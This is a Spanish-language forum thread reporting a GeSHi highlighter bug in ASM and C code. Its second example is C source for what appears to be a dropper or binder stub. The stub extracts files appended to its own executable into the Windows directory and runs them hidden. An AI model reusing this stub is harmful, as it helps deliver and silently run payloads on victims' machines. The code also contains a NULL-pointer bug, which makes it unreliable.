Hola ,
Si uno usa el geshi de ASM y pone por ejemplo una caomilla simple dentro de dos comillas dobles te pone todo el code como si fuera dentro de esa comilla no se si se me entiende
http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520
PD : Creo que ese es el error pero no estoy seguro :P
Yo el problema lo veo aqui:
Citarinvoke ExitProcess,0'
Asi queda sin poner esa comilla simple al final de la linea:
include 'win32ax.inc'
.data
dString db "i'm a string",0
.code
start:
stdcall fRight,dString,9
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Funcion que emula la funcion Right de Visual Basic 6
proc fRight,pString,pLen
push esi ebx edi ecx
mov eax,[pLen]
inc eax
invoke GlobalAlloc,GPTR, eax
mov esi,eax
mov ebx,eax
stdcall Len,[pString]
sub eax,[pLen]
mov edi,[pString]
add edi,eax
.bucle_:
cmp [pLen] ,0
je .exit
mov cl,byte[edi]
mov byte[ebx],cl
inc ebx
inc edi
dec [pLen]
jmp .bucle_
.exit:
mov eax,esi
pop ecx edi ebx esi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
Cita de: Krackwar ™ en 28 Junio 2009, 04:24 AM
YST, eso a veces pasa cuando uno no duerme mas de 2 horas por dia :xD
jajaja , pero sigue siendo bug ya que el FASM lo compila de igual manera :P
:xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD :xD
Krackwar ha vuelto :o ;D. Con código en C también hay un bug parecido, no se en que post tuve que poner comentarios con comillas para arreglarlo :P.
Saludos
Edito: lo encontré, falla al intentar escapar una barra: "\\":
[code=c]
#pragma optimize("gsy", on)
#include <windows.h>
typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
DWORD dwBytes;
VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
{
HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
CloseHandle(hSFTD);
}
LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
{
_RtlDecompressBuffer miRtlDecompressBuffer;
LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
return szRet;
}
void main()
{
_CopyMemory miCopyMemory=NULL;
miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
DWORD szSubFile;
LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
DWORD Seek=0;
LPSTR lpFile=NULL;
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
DWORD szFile=GetFileSize(hFile,0);
LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
DWORD StubSize=0x640;
LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetWindowsDirectory(WinPath,MAX_PATH);
DWORD NumArchivos;
miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
Seek=4;
for(DWORD i=0;i<NumArchivos;i++)
{
//Obtenemos el peso del archivo
miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
//Obtenemos la extensión
miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
//Leemos el archivo
lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
//Lo descomprimimos
DWORD szDecompressedFile;
LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
//Generamos la ruta
LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Path,WinPath);
lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
LPSTR fName=NULL;
for(DWORD z=0;z<i+1;z++)
{
lstrcat(fName,"A");
}
lstrcat(Path,fName);
lstrcat(Path,".");
lstrcat(Path,ext);
//Lo guardamos en WinPath
SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(Archivo,"cmd /d /c \"");
lstrcat(Archivo,WinPath);
lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
lstrcat(Archivo,fName);
lstrcat(Archivo,".");
lstrcat(Archivo,ext);
lstrcat(Archivo,"\"");
WinExec(Archivo,SW_HIDE);
Seek=Seek+11+szSubFile;
}
CloseHandle(hFile);
}
[/code]